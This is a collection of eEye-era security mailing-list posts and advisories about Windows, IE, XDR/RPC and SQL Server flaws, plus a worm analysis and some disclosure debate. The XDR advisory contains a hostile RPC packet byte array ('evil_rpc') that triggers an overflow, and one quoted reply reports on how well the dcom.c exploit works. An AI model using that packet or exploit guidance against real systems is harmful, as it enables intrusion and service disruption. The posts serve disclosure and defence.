RE: Skype Network Remote DoS Exploit
Apologies if someone already posted the obvious question but: How come this Patch Tuesday was different for Skype? Why didn't the last Patch Tuesday, which had the same rebooting requirements as any other Patch Tuesday, cause the same problem with Skype? What was different about this Patch Tuesday? Anyone seen Skype give an explanation of that yet, as I'm assuming someone already asked that question, hopefully. -Marc > -Original Message- > From: Steven M. Christey [mailto:[EMAIL PROTECTED] > Sent: Monday, August 20, 2007 10:39 AM > To: [EMAIL PROTECTED]; bugtraq@securityfocus.com > Subject: Re: Skype Network Remote DoS Exploit > > > The outage being experienced by Skype was apparently due to > massive simultaneous reboots and reconnects after systems > installed their Windows patches. > > from > http://heartbeat.skype.com/2007/08/what_happened_on_august_16.html: > >The disruption was triggered by a massive restart of our users' >computers across the globe within a very short timeframe as they >re-booted after receiving a routine set of patches through Windows >Update. > >The high number of restarts affected Skype's network resources. >This caused a flood of log-in requests, which, combined with the >lack of peer-to-peer network resources, prompted a chain reaction >that had a critical impact. > > I wonder how many other services are impacted by simultaneous > Windows scheduled updates. > > Anyway... given that this was going on at the time the > SecurityLab.ru exploit was released, and the exploit only > claims a DoS (and only seems to make a series of requests to > long URIs), was the exploit actually effective, or was the > "DoS" just part of the larger outage? > > - Steve > >
ANI Zeroday, Third Party Patch
A new vulnerability was recently discovered, in the wild, that affects the .ANI file format. This flaw affects all versions of Microsoft Windows and can be delivered through multiple attack vectors, specifically any user who visits a malicious website. This flaw remains as of yet unpatched by Microsoft. Interesting to point out is the similarity between this new zeroday and a .ANI file vulnerability that eEye discovered as far back as 2005. It seems even though Microsoft takes on average over 6 months to produce patches they still are failing in being able to perform a proper code audit to find similar and related vulnerabilities. This is made more apparent by the fact that this vulnerable code also ships with Windows Vista. We have provided a brief analysis, free third party patch (with source code), which is all available here: http://research.eeye.com/html/alerts/zeroday/20070328.html This patch like ones we have done previously has full command line options, for scripting and related, and also source code is included for your learning/verification etc... As always patches like this are experimental, i.e. we are not Microsoft, however we have taken as many precautions as we can to make the patch as stable as possible. Alternatively we also provide a complete, free host based security solution which will protect from this attack and many others, which you can download here: http://www.eeye.com/blinkfree Any questions, comments, improvements, please direct them to [EMAIL PROTECTED] Signed, Marc Maiffret Co-Founder/CTO Chief Hacking Officer eEye Digital Security T.949.349.9062 F.949.349.9329 http://eEye.com/Blink - End-Point Vulnerability Prevention http://eEye.com/Retina - Network Security Scanner http://eEye.com/Iris - Network Traffic Analyzer http://eEye.com/SecureIIS - Stop known and unknown IIS vulnerabilities <>
EEYE: Internet Explorer Compressed Content URL Heap Overflow Vulnerability
Internet Explorer Compressed Content URL Heap Overflow Vulnerability Release Date: August 24, 2006 Date Reported: August 17, 2006 Severity: High (Code Execution) Systems Affected: Internet Explorer 6 SP1 with MS06-042 - Windows 2000 Internet Explorer 6 SP1 with MS06-042 - Windows XP SP1 Overview: eEye Digital Security has discovered a heap overflow vulnerability in the MS06-042 cumulative Internet Explorer update that would allow an attacker to execute arbitrary code on the system of a victim who attempts to access a malicious URL. Only Windows 2000 and Windows XP SP1 systems running Internet Explorer 6 SP1 with the MS06-042 patch applied are vulnerable. The heap overflow occurs when URLMON.DLL attempts to handle a long URL for which the web server's response indicated GZIP or deflate encoding. This means that the user interaction requirement for this attack is negligible, since clicking a hyperlink, visiting a malicious web page, or even attempting to view an image for which the source is a malicious URL, permits exploitation of the vulnerability. Furthermore, the attacker is not required to control a web server in order to serve up a specially-crafted response, since any compressed response -- even an error message -- is sufficient to cause the overflow, regardless of its content. Technical Details: URLMON.DLL version 6.0.2800.1565, distributed with the MS06-042 patch for Internet Explorer 6 SP1 on Windows 2000 and Windows XP SP1, contains a heap buffer overflow vulnerability due to an incongruous use of lstrcpynA. CMimeFt::Create allocates a 390h-byte heap block for a new instance of the CMimeFt class, within which there is a 104h (MAX_PATH)-byte ASCII string buffer at offset +160h: 1A4268DDpush390h; cb 1A4268E2call[EMAIL PROTECTED]@Z; operator new(uint) When an access to a URL elicits a GZIP- or deflate-encoded response from the web server, CMimeFt::Start will attempt to copy the URL into the 104h-byte string buffer using the lstrcpynA API function, but it passes a maximum length argument of 824h (2084 decimal), a value typically used as the maximum length of a URL: 1A426199push824h; iMaxLength 1A42619Epusheax ; lpString2 1A42619Fadd esi, 160h 1A4261A5pushesi ; lpString1 1A4261A6callds:lstrcpynA As a result, fields within the CMimeFt class instance as well as the contents of adjacent heap blocks can be overwritten with attacker-supplied data from the malicious URL. URLMON.DLL in the MS06-042 patch for Internet Explorer 5 uses MAX_PATH both as the buffer size and as the maximum copy length, while URLMON.DLL in the patch for Windows XP SP2 and Windows 2003 uses 824h in both places. This issue was originally documented as an Internet Explorer crash in Microsoft Knowledge Base Article KB923762 (http://support.microsoft.com/?kbid=923762; Revision 2.0 as of August 21st), in response to numerous reports of conflicts between the MS06-042 patch and various HTTP-based software products, dating back to at least August 11th. eEye independently discovered the flaw on August 15th and subsequently reported it to Microsoft on the 17th. Protection: Retina Network Security Scanner has been updated to identify this vulnerability. Blink Endpoint Vulnerability Prevention preemptively protects from this vulnerability. Vendor Status: Microsoft has released a new version of the MS06-042 patch to correct this vulnerability. The revised patch is available at: http://www.microsoft.com/technet/security/bulletin/MS06-042.mspx. Note that installing the original release of the MS06-042 update causes a system to become vulnerable, so the version 2.0 release of the MS06-042 patch will need to be applied in order to secure that system. Systems with the hotfix described in Microsoft Knowledge Base Article KB923762 (http://support.microsoft.com/?kbid=923762) applied are not susceptible to this vulnerability, although the MS06-042 v2.0 patch should still be installed on these systems. Credit: Derek Soeder Related Links: Retina Network Security Scanner - Free Trial Blink Endpoint Vulnerability Prevention - Free Trial Greetings: Unexpected exits. Copyright (c) 1998-2006 eEye Digital Security Permission is hereby granted for the redistribution of this alert electronically. It is not to be edited in any way without express consent of eEye. If you wish to reprint the whole or any part of this alert in any other medium excluding electronic medium, please email [EMAIL PROTECTED] for permission. Disclaimer The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are no warranties, implied or express, with regard to this information. In no event shall the author be liable for any direct or indirect damages whatsoever arising out of or in connection with the use or spread of this information. Any use
EEYE:ALERT: MS06-042 Related Internet Explorer 'Crash' is Exploitable
MS06-042 Related Internet Explorer 'Crash' is Exploitable Date: August 22, 2006 Severity: High Systems Affected: Windows 2000 with IE6 SP1 and MS06-042 hotfix installed Windows XP SP1 with IE6 SP1 and MS06-042 hotfix installed Overview: On August 8th Microsoft released MS06-042 which was a cumulative update for Internet Explorer[1]. Over the course of a few days after the release of this patch various Internet Explorer users and businesses started to experience Internet Explorer crashing problems when viewing certain websites[2]. Later on August 11th Microsoft created a knowledge base article which talked about problems with the MS06-042 patch and how Internet Explorer could crash when viewing some web pages that used compression[3]. This Microsoft KB article referenced a patch, which could be requested through Microsoft Product Support Services, that would fix the "crashing" bug. There was further discussion about the extent of the crashes and widespread nature of the bug on places such as SANS and various patch and IT mailing lists[4]. Because of the widespread discussions and number of people experiencing the Internet Explorer crash various security researchers, including eEye, decided to investigate as a lot of times crashes can be exploitable. We have since found that indeed the reason that people are experiencing Internet Explorer browser crashes is certain websites, that use compression (as stated by Microsoft[5]), are causing a non-malicious buffer overflow to occur within Internet Explorer. After investigating and confirming that indeed this is an exploitable condition we are alerting people to the true severity of these "crashing" problems that people are experiencing, so that they can take the appropriate mitigation steps as need be. This information is already known in various research circles and also with exploit writers. So it is important that IT administrators understand the true threat of this problem that this is not simply a crashing bug, as Microsoft has been incorrectly misrepresenting it, but in fact that it is an exploitable security bug. Researchers and exploit developers know this, therefore it is extremely important that IT administrators are told what really is going on. Prevention: Windows 2000 IE6 SP1 Systems Patch: Microsoft created and released a non-public patch on August 11th. You can find out more about this patch here: http://support.microsoft.com/?kbid=923762. This patch can only currently be obtained through the Microsoft PSS process. However, Microsoft does plan to eventually release a public patch through Windows Update etc... Workaround: Disable HTTP1.1 functionality as outlined by Microsoft in their knowledge base article: http://support.microsoft.com/?kbid=923762. Please review the caveats of doing this as outlined by Microsoft. Windows XP SP1 IE6 SP1 Systems Patch: The best way to protect your XP systems is to upgrade to Windows XP SP2 as it is protected against this vulnerability. Also support for XP SP1 ends in October and there are huge security benefits to XP SP2 so hopefully your're already migrated to it. If you are not however and you are stuck on XP SP1 then you can use the Microsoft Knowledge base patch which was released on August 11th through the PSS process. http://support.microsoft.com/?kbid=923762 Workaround: Disable HTTP1.1 functionality as outlined by Microsoft in their knowledge base article: http://support.microsoft.com/?kbid=923762. Please review the caveats of doing this as outlined by Microsoft. Credit: Derek Soeder (eEye) Links: [1] - MS06-042 Bulletin - http://www.microsoft.com/technet/security/Bulletin/MS06-042.mspx [2] - SANS - http://isc.sans.org [3] - Microsoft KB Article - http://support.microsoft.com/?kbid=923762 [4] - SANS Thread - http://isc.sans.org/diary.php?storyid=1588 [5] - http://blogs.technet.com/msrc/archive/2006/08/16/447023.aspx Copyright (c) 1998-2006 eEye Digital Security Permission is hereby granted for the redistribution of this alert electronically. It is not to be edited in any way without express consent of eEye. If you wish to reprint the whole or any part of this alert in any other medium excluding electronic medium, please email [EMAIL PROTECTED] for permission. Disclaimer The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are no warranties, implied or express, with regard to this information. In no event shall the author be liable for any direct or indirect damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk. <>
RE: Mailslot bug (MS06-035) vs non-Mailslot bug (CVE-2006-3942)
> -Original Message- > From: Gerardo Richarte [mailto:[EMAIL PROTECTED] > > non-Mailslot bug(MS0?-???/CVE-2006-3942) > "Vulnerability details" section to find what I expected: > NOTHING. Just a general description, as in most advisories > lately, which can't, in any way, be used to prove or disprove > the existence of the bug, nor to decide how high in the > priority list this patch should be put: > . Advisories with almost no technical details are bad: They do not >provide enough information to let users decide how serious the >condition is in their specific situation, quite often lead to the >accidental discovery of new bugs (this is not the first > time I've seen >pretty much your only choice... Unless somebody comes out > with a home >made patch for SRV.SYS. I haven't checked, but I wouldn't > be surprised Bravo sir. It is always nice to see another company, or even researcher[s] for that matter, releasing *useful* details on bugs. How many more binary diffing videos (ours included) do vendors/researchers/securitycompanies have to see before everyone can simply agree that by virtue of having the patch you will find the vulnerabilities that everyone is so afraid to talk about. When vendors do not give the correct level of details they leave everyone in the dark and everyone guessing. So you have things like this unpatched DoS being discovered, and nothing but confusion for customers/researchers trying to determine the true risk related to these flaws. That is why people thought for a while that the DoS was actually the mailslot bug, and they didn't have any technical details to turn to, to help them realize that it really was a different bug... So then even eventually exploits were publicly released for what was then realized to be an unpatched flaw etc... It makes matters worse when you find multiple silently fixed vulnerabilities within a patch and sometimes they have different dependencies for exploitation such as what features are enabled, service pack levels, etc... And then your wondering which of the bugs to correlate to the vendors description of the risk and mitigating factors and everything else. And we go through this pain, headache, and annoyance for what reason? Because of some make believe fear that maybe there might be an exploit released in 3 hours instead of the typical 4 hours it takes the guys at places like Core, Immunity, Metasploit, to produce an exploit after a patch Tuesday or related announcement. It does not really make any sense... Except for when you look at who are, "those other people", finding vulnerabilities and releasing worthless "me too" zero detail advisories. They are the companies ran by ignorant cowards who are afraid of thinking about security from a scientific and academic perspective but instead from the perspective of never wanting to risk rocking the boat for sake of corporate image because the ignorant masses might portray them as doing the wrong thing. It seems systemic though across most things these days that people cant seem to find the will power to do what they know is right, even if the masses might not yet understand. So keep on truckin Core Security, Michal Zalewski, and even Tippingpoint/iDefense. R.I.P. l0pht, RAZOR, @stake. P.S. Since Gera mentioned about someone coming out with a homemade patch for this DoS since we are all still waiting around for MS to act... You can download such a patch from http://research.eeye.com, it is in the current blog post, courtesy of Derek Soeder. It is obviously experimental and we recommend checking it out from a research perspective rather than it being something like our previous third party patch which was fine to install wherever. Signed, Marc Maiffret Chief Hacking Officer Founder / CTO eEye Digital Security T.949.349.9062 F.949.900.4111 http://eEye.com/Blink - End-Point Vulnerability Prevention http://eEye.com/Retina - Network Security Scanner http://eEye.com/Iris - Network Traffic Analyzer http://eEye.com/SecureIIS - Stop known and unknown IIS vulnerabilities
EEYE: research.eeye.com
Hi, I am happy to announce to the first incarnation of http://research.eEye.com. On this site you can find everything from our previously released advisories to our previously unreleased research tools. A lot of these tools are seeing daylight for the first time outside of eEye so we do expect there to be bugs we have not noticed before. We definitely encourage your feedback. You can provide such feedback directly to research via [EMAIL PROTECTED] Besides the new site, which will continue to be updated, we are also releasing a few new tools today: eEye Binary Diffing Suite You can probably guess what this is... It is a new set of free tools we are releasing that can be used to perform binary differential analysis. This is obviously very useful in doing patch reverse engineering and related tasks. There are still some bugs to be worked out so expect some more updates over time not only in bug fixes but also as we expand its capabilities as far as function matching etc... We have released this as open source so feel free to send email feedback or questions, and if you so chose, improvements. Duster Duster is the Dead/Uninitialized Stack Eraser, an injectable DLL that causes uninitialized stack and heap memory in its host process to be wiped over with a specific value. It is intended as a crude tool to assist in the run-time discovery of uninitialized memory usage problems by increasing the chances that the host process will raise an exception when a value in uninitialized memory is used. The Duster DLL activates automatically upon being loaded into a process. Windows NT 4.0/2000/XP/2003 only. We also have done some updates to some classics including BootRoot with the release of the SysRQ.iso so you can subvert the Windows kernel as it loads and spawn a nice SYSTEM command prompt, equally useful for system administrators who forget their password etc... We also have posted the presentation for PiXiE which is a proof-of-concept network boot virus, for those of you moving to thin clients, you might want to double check the security of said systems. And there is of course "the blog" with which we finally have joined the masses of teenagers and security researchers alike who want to tell you about every waking moment of their lives. Ours should be a repetitive mix of 0day, Tequila and of course as you would expect, security rap lyrics. Lastly while speaking of blogging I am sure there will be some interesting things to "blog about" at this years Blackhat in Vegas. We hope to see all of you out there, and for those that can not make it, see you next Tuesday! Signed, Marc Maiffret Founder/CTO Chief Hacking Officer eEye Digital Security T.949.349.9062 F.949.349.9329 http://eEye.com/Blink - End-Point Vulnerability Prevention http://eEye.com/Retina - Network Security Scanner http://eEye.com/Iris - Network Traffic Analyzer http://eEye.com/SecureIIS - Stop known and unknown IIS vulnerabilities <>
EEYE: Temporary workaround for IE createTextRange vulnerability
eEye Digital Security has created a temporary work around for the current Internet Explorer zero day vulnerability within the IE createTextRange functionality. This workaround has been created because currently there is no solution from Microsoft other than the workaround to disable Active Scripting. We have personally had requests from various customers and the community to help provide a free solution in the case that companies and users are not able to disable Active Scripting. The workaround we have created, like ones before it, is experimental in a sense and should only be installed if you are not able to use the safer mitigation of disabling Active Scripting. The workaround is obviously free, and we do not require any registration information to download it from the eEye website. Should you encounter any problems with the workaround or bugs please send email to [EMAIL PROTECTED] with detailed information on the problem you experienced and we will work to fix any bugs in a timely fashion. We will post updates to the website with version numbers and bug fixes should they arise. Obviously these things are experimental in nature but considering the options of being vulnerable or at least having a fighting chance... Well I think you get the point. Again this is just another mitigation option until Microsoft releases their patch, which last was scheduled for April 11th or 16 days from now. For more information on the vulnerability and a link to download the workaround please visit: http://www.eeye.com/html/research/alerts/AL20060324.html Signed, Marc Maiffret Chief Hacking Officer eEye Digital Security T.949.349.9062 F.949.349.9329 http://eEye.com/Blink - End-Point Vulnerability Prevention http://eEye.com/Retina - Network Security Scanner http://eEye.com/Iris - Network Traffic Analyzer http://eEye.com/SecureIIS - Stop known and unknown IIS vulnerabilities <>
RE: [Full-disclosure] [EEYEB-20050523] Windows Kernel APC Data-FreeLocal Privilege Escalation Vulnerability
To be clear we did not make any claim except that Retina has been updated to be able to identify this vulnerability. Obviously being that it is a local vulnerability we audit for the vulnerability using credentials through normal means that you should find in most any vulnerability assessment scanner. -Marc > -Original Message- > From: [EMAIL PROTECTED] > [mailto:[EMAIL PROTECTED] On Behalf > Of Joshua Russel > Sent: Tuesday, December 13, 2005 10:28 AM > To: Advisories > Cc: full-disclosure@lists.grok.org.uk; > [EMAIL PROTECTED]; bugtraq@securityfocus.com; > [EMAIL PROTECTED] > Subject: Re: [Full-disclosure] [EEYEB-20050523] Windows > Kernel APC Data-FreeLocal Privilege Escalation Vulnerability > > It is a local vulnerability, then how does Retina claims to > scan it remotely? > > > On 12/13/05, Advisories <[EMAIL PROTECTED]> wrote: > > Windows Kernel APC Data-Free Local Privilege Escalation > Vulnerability > > > > Release Date: > > December 13, 2005 > > > > Date Reported: > > May 23, 2005 > > > > External Refferences: > > eEye ID# EEYEB-20050523 > > OSVDB ID# 18823 > > CVE # CAN-2005-2827 > > Microsoft # MS05-055 > > > > Severity: > > Medium (Local Privilege Escalation to Kernel) > > > > Systems Affected: > > Windows NT 4.0 > > Windows 2000 > > > > Overview: > > eEye Digital Security has discovered a local privilege escalation > > vulnerability in the Windows kernel that could allow any code > > executing on a Windows NT 4.0 or Windows 2000 system to > elevate itself > > to the highest possible local privilege level (kernel). > For example, > > a malicious user, network worm, or e-mail virus could take > advantage > > of this vulnerability in order to completely compromise the > vulnerable > > system on which the exploit code is executing, regardless of that > > code's original privilege level. > > > > The vulnerability exists in the thread termination routine > contained > > within NTOSKRNL.EXE. Through a specific series of steps, a local > > attacker can cause the code responsible for discarding queued > > Asynchronous Procedure Call (APC) entries to erroneously attempt to > > free a region of kernel data, producing a "data free" vulnerability > > that may be exploited in order to alter arbitrary kernel memory, or > > even divert the flow of execution directly. > > > > Technical Details: > > The basis of this vulnerability is in PspExitThread's APC > freeing loop > > and in the behavior of KiMoveApcState, invoked from KiAttachProcess > > and KeUnstackDetachProcess. We'll give a description of > the problem > > below, followed by a "call flow" illustration to outline > the specific > > sequence of events. > > > > When a thread is exiting, PspExitThread will detach the > thread's APC > > queues from ETHREAD.ApcState.ApcListHead[0] and ApcListHead[1], so > > that each queue is now a circular, doubly-linked list in which the > > first and last nodes do not point back to the list head > (LIST_ENTRY structure). > > However, since the list heads' pointers are not modified, > the purpose > > is presumably just to allow the APC freeing loop within > PspExitThread > > to walk each list and free its nodes, without navigating > back to the > > list head and erroneously attempting to free memory within > the ETHREAD > > structure. Of course, the vulnerability is that this can > be made to > > happen, and the result is a "data free" condition that eventually > > causes ExFreePoolWithTag to operate on user memory. > > > > APCs queued by an external process count against that > process's pool > > quota, and therefore the quota block of the pool block > containing the > > APC structure has a reference to the queuing process. If > the exiting > > thread contains an APC queued by a now-terminated external > process in > > its lists, and if that APC node represents the last > reference to the > > process's Process object, then freeing that node will cause the > > Process object to be destroyed from within > ExFreePoolWithTag. Part of > > this sequence involves executing PspProcessDelete, which > switches to > > the ending process's address space using > KeStackAttachProcess, calls > > PspExitProcess, and then reverses the switch with > > KeUnstackDetachProcess. > > > > Both the "attach" and "detach" functions call > KiMoveApcState, which is > > intended to temporarily strip the thread of its APCs so > that none are > > dispatched in an address space for which they were not > intended, then > > re-link the list of APCs after the thread's native address space is > > reinstated. During attach, the ETHREAD.ApcState structure is > > duplicated, and the pointers of the lists' first and last nodes are > > adjusted to refer to the copy. Upon detach, the first and > last nodes' > > pointers are adjusted to re-link the lists to the original > > ETHREAD.ApcState -- even though they were supposed to remain > > disconnected, since the A
RE: DCOM RPC exploit (dcom.c)
We just updated the tool a few minutes ago and fixed some bugs that should clear up any left over inaccuracies. Also fixed a bug keeping NT 4.0 detection from working correctly. If you find any bugs please let us know. RPC/DCOM Scanner 1.0.3 http://www.eeye.com/html/Research/Tools/RPCDCOM.html Signed, Marc Maiffret Chief Hacking Officer eEye Digital Security T.949.349.9062 F.949.349.9538 http://eEye.com/Retina - Network Security Scanner http://eEye.com/Iris - Network Traffic Analyzer http://eEye.com/SecureIIS - Stop known and unknown IIS vulnerabilities | -Original Message- | From: S G Masood [mailto:[EMAIL PROTECTED] | Sent: Saturday, July 26, 2003 7:53 PM | To: [EMAIL PROTECTED] | Subject: Re: DCOM RPC exploit (dcom.c) | | | Hello list, | | | The Dcom.c compiles neatly on Cygwin with GCC 3.2 when | the "#include " line is removed. | | *Very* accurate. If the machine is vulnerable, the | exploit will almost always succeed on the first | attempt. | | I've successfully tested it on about 16 boxes and each | one was rooted on the first try. Among these were | Win2k with SP0, SP1, SP3 while two were WinXP(SP level | not known). Before running the exploit, the machines | were confirmed as vulnerable with the Eeye tool(on a | side note, while the Eeye tool did recognise many | vulnerable boxes, it failed to recognise some of them, | though, they were vulnerable). | | One glitch is that the exploitation is not very | stealth. All RPC/COM based functions stop working | completely after exploitation and fail to heal until | the machine is restarted. Many of these functions are | quite visible and easily noticeable(drag&drop, | clipboard, property sheets, etc., for example). This | happens without exception. | | The exploit mostly times out when run against remote | hosts. | | Hope we are all patched before Tim Mullen's | "Mescaline"(http://securityfocus.com/columnists/174) | becomes a reality. | | One last advice - think twice before doing any thing | risky with the exploit. Though highly accurate, it is | very noisy. | | | Regards, | | S.G.Masood | | Hyderabad, | India. | | __ | Do you Yahoo!? | Yahoo! SiteBuilder - Free, easy-to-use web site design software | http://sitebuilder.yahoo.com |
EEYE:ALERT Free RPC/DCOM vulnerability scanning tool
Due to the recent release of multiple exploits for the very serious Microsoft RPC/DCOM vulnerability (http://www.microsoft.com/security/security_bulletins/ms03-026.asp) we have decided to release a free scanning tool that will allow administrators to check to see if DCOM is enabled on remote machines, and also if the remote system is vulnerable (patched or not). The original vulnerability was discovered by the very talented researchers at LSD. You definitely should read their advisory at: http://www.lsd-pl.net/ if you have not already. This scanning tool does NOT require administrator access. There are various commercial, and open source, scanners which check for this vulnerability. However, those tools either require administrator access (which will be non-existent at any large company with a large number of IP's) or the tools will be intrusive in their testing and therefore bring down servers. Our check does not require administrator access, nor is our check intrusive in bringing down servers. If you find any bugs in the tool please contact eEye Digital Security via the email support option within the tool. Do not respond to this eMail list as it is not the proper forum. You can get the tool at: http://www.eeye.com P.S. Users of Retina (Network Security Scanner) have already had this check within the latest Retina updates. Signed, Marc Maiffret Co-Founder/Chief Hacking Officer eEye Digital Security T.949.349.9062 F.949.349.9538 http://eEye.com/Retina - Network Security Scanner http://eEye.com/Iris - Network Traffic Analyzer http://eEye.com/SecureIIS - Stop known and unknown IIS vulnerabilities
RE: Alert: MS03-019, Microsoft... wrong, again.
Microsoft is wrong and misleading customers in this advisory. This Windows Media Service vulnerability is exploitable, as confirmed in the labs at eEye, and by the discoverer of this vulnerability, Brett Moore. I am not sure why Microsoft misidentified this vulnerability... maybe it is just a typo, maybe its a lack of technical know-how. Either way they need to re-release this advisory so that the correct information is given to customers. There is a big difference in telling customers "Ahh its a denial of service, and your web server will automatically restart" compared to the reality of the situation "If your running Windows Media Services on IIS, attackers can spawn a remote shell 'command prompt' on your vulnerable system." Brett Moore, the researcher that discovered this flaw, is going to be releasing an advisory soon with more details on the how and why. Not sure how you can have "Trust"worthy Computing when your misinforming customers on a regular basis or releasing patches that disable their Internet access. :-o For those technically inclined... supposedly MS thinks controlling ecx and eax on a mov [ecx],eax is not exploitable, just a DoS. hah Signed, Marc Maiffret Chief Hacking Officer eEye Digital Security T.949.349.9062 F.949.349.9538 http://eEye.com/Retina - Network Security Scanner http://eEye.com/Iris - Network Traffic Analyzer http://eEye.com/SecureIIS - Stop known and unknown IIS vulnerabilities P.S. U.S. drinking team still rulez N.Z. >:-] | -Original Message- | From: Windows NTBugtraq Mailing List | [mailto:[EMAIL PROTECTED] Behalf Of Russ | Sent: Wednesday, May 28, 2003 10:30 AM | To: [EMAIL PROTECTED] | Subject: Alert: Microsoft Security Bulletin - MS03-019 | | | http://www.microsoft.com/technet/security/bulletin/MS03-019.asp | | Flaw in ISAPI Extension for Windows Media Services Could Cause | Denial of Service (817772) | | Originally posted: May 28, 2003 | | Summary | | Who should read this bulletin: System administrators running | Microsoft® Windows NT 4.0 or Microsoft Windows 2000 | | Impact of vulnerability: Denial of Service | | Maximum Severity Rating: Moderate | | Recommendation: System administrators install the patch at the | earliest available opportunity. | | Affected Software: | - Microsoft Windows NT 4.0 | - Microsoft Windows 2000Non Affected Software: | - Microsoft Windows XP | - Microsoft Windows Server 2003
EEYE: XDR Integer Overflow
XDR Integer Overflow Release Date: March 19, 2003 Severity: High (Remote Code Execution/Denial of Service) Systems Affected: Sun Microsystems Network Services Library (libnsl) BSD-derived libraries with XDR/RPC routines (libc) GNU C library with sunrpc (glibc) Description: XDR is a standard for the description and encoding of data which is used heavily in RPC implementations. Several libraries exist that allow a developer to incorporate XDR into his or her applications. Vulnerabilities were discovered in these libraries during the testing of new Retina auditing technologies developed by the eEye research department. ADAM and EVE are two technologies developed by eEye to remotely and locally audit applications for the existence of common vulnerabilities. During an ADAM audit, an integer overflow was discovered in the SUN Microsystems XDR library. By supplying specific integer values in length fields during an RPC transaction, we were able to produce various overflow conditions in UNIX RPC services. Technical Description: The xdrmem_getbytes() function in the XDR library provided by Sun Microsystems contains an integer overflow. Depending on the location and use of the vulnerable xdrmem_getbytes() routine, various conditions may be presented that can permit an attacker to remotely exploit a service using this vulnerable routine. For the purpose of signature development and further security research a sample session is included below that replicates an integer overflow in the rpcbind shipped with various versions of the Solaris operating system. char evil_rpc[] = "\x23\x0D\xF6\xD2\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x86" "\xA0\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00" "\x00\x20\x3D\xD2\xC9\x9F\x00\x00\x00\x09\x6C\x6F\x63\x61\x6C" "\x68\x6F\x73\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x86" "\xa0\x00\x00\x00\x02\x00\x00\x00\x04" "\xFF\xFF\xFF\xFF" // RPC argument length "EEYECLIPSE2003"; Vendor Status: Sun Microsystems was contacted on November 13, 2002 and CERT was contacted shortly afterwards. Vendors believed to be vulnerable were contacted by CERT during a grace period of several months. Due to some difficulties communicating with vendors, after rescheduling several times a release date was set for March 18, 2003. eEye recommends obtaining the necessary patches or updates from vendors as they become available after the release of this and the CERT advisory. For a list of vendors and their responses, please review the CERT advisory at: http://www.cert.org/advisories/CA-2003-10.html You can find the latest copy of this advisory, along with other eEye research at http://www.eeye.com/. Credit: Riley Hassell - Senior Research Associate Greetings: Liver destroyers of the world: Barnes (DOW!), FX, and last but definitely not least, Heather and Jenn. Copyright (c) 1998-2003 eEye Digital Security Permission is hereby granted for the redistribution of this alert electronically. It is not to be edited in any way without express consent of eEye. If you wish to reprint the whole or any part of this alert in any other medium excluding electronic medium, please e-mail [EMAIL PROTECTED] for permission. Disclaimer The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk. Feedback Please send suggestions, updates, and comments to: eEye Digital Security http://www.eEye.com [EMAIL PROTECTED]
RE: SQL Sapphire Worm Analysis
We updated that part of the advisory earlier this morning. The Corrective Action part of the advisory did mention SP3 as the right patch. However indeed at the top of the advisory SP2 was a mistake. For the latest version and information on our sql worm analysis goto: http://www.eeye.com/html/Research/Flash/AL20030125.html Signed, Marc Maiffret Chief Hacking Officer eEye Digital Security T.949.349.9062 F.949.349.9538 http://eEye.com/Retina - Network Security Scanner http://eEye.com/Iris - Network Traffic Analyzer http://eEye.com/SecureIIS - Stop known and unknown IIS vulnerabilities | -Original Message- | From: trent dilkie [mailto:[EMAIL PROTECTED]] | Sent: Saturday, January 25, 2003 1:49 PM | To: 'Marc Maiffret'; 'BUGTRAQ' | Subject: RE: SQL Sapphire Worm Analysis | | | Actually, this effects SQL 2000 SP2 too, not just pre-SP2. | | To be safe from this exploit, you need to install SP2 AND MS02-039 or | install SP3. Also, we had some problems with SQL 2000 SP3 in our | testing, so | we haven't rolled it out yet. | | Trent. | | | -Original Message----- | From: Marc Maiffret [mailto:[EMAIL PROTECTED]] | Sent: Saturday, January 25, 2003 10:12 AM | To: BUGTRAQ | Subject: SQL Sapphire Worm Analysis | | | SQL Sapphire Worm Analysis | | Release Date: | 1/25/03 | | Severity: | High | | Systems Affected: | Microsoft SQL Server 2000 pre SP 2 | | Description: | Late Friday, January 24, 2003 we became aware of a new SQL worm spreading | quickly across various networks around the world. | | The worm is spreading using a buffer overflow to exploit a flaw | in Microsoft | SQL Server 2000. The SQL 2000 server flaw was discovered in July, 2002 by | Next Generation Security Software Ltd. The buffer overflow exists | because of | the way SQL improperly handles data sent to its Microsoft SQL | Monitor port. | Attackers leveraging this vulnerability will be executing their code as | SYSTEM, since Microsoft SQL Server 2000 runs with SYSTEM privileges. | | The worm works by generating pseudo-random IP addresses to try to infect | with its payload. The worm payload does not contain any additional | malicious content (in the form of backdoors etc.); however, because of the | nature of the worm and the speed at which it attempts to | re-infect systems, | it can potentially create a denial-of-service attack against infected | networks. | | We have been able to verify that multiple points of connectivity on the | Internet have been bogged down since 9pm Pacific Standard Time. | | It should be noted that this worm is not the same as an earlier SQL worm | that used the SA/nopassword SQL vulnerability as its spread | vector. This is | a new worm is more devastating as it is taking advantage of a | software-specific flaw rather than a configuration error. We have already | had many reports of smaller networks brought down due to the flood of data | from the Sapphire Worm trying to re-infect new systems. | | Corrective Action | We recommend that people immediately firewall SQL service ports at all of | their gateways. The worm uses only UDP port 1434 (SQL Monitor Port) to | spread itself to a new system; however, it is safe practice to filter all | SQL traffic at all gateways. The following is a list of SQL server ports: | ms-sql-s 1433/tcp #Microsoft-SQL-Server ms-sql-s 1433/udp | #Microsoft-SQL-Server ms-sql-m 1434/tcp #Microsoft-SQL-Monitor ms-sql-m | 1434/udp #Microsoft-SQL-Monitor | | Once again this worm is taking advantage of a known vulnerability that has | had a patch available for many months. Microsoft has also | released a recent | service pack for SQL (Service Pack 3) that includes a fix for this | vulnerability. | | Standalone patch: | http://www.microsoft.com/technet/treeview/default.asp?url=/technet | /security/ | bulletin/MS02-039.asp | | SQL 2000 Service Pack 3: | http://www.microsoft.com/sql/downloads/2000/sp3.asp | | Previous SQL Service Pack versions are vulnerable. | | Technical Description | | The following is a quick run-down of what the worm's payload is | doing after | infection: | 1. Retrieves the address of GetProcAddress and Loadlibrary from the IAT in | 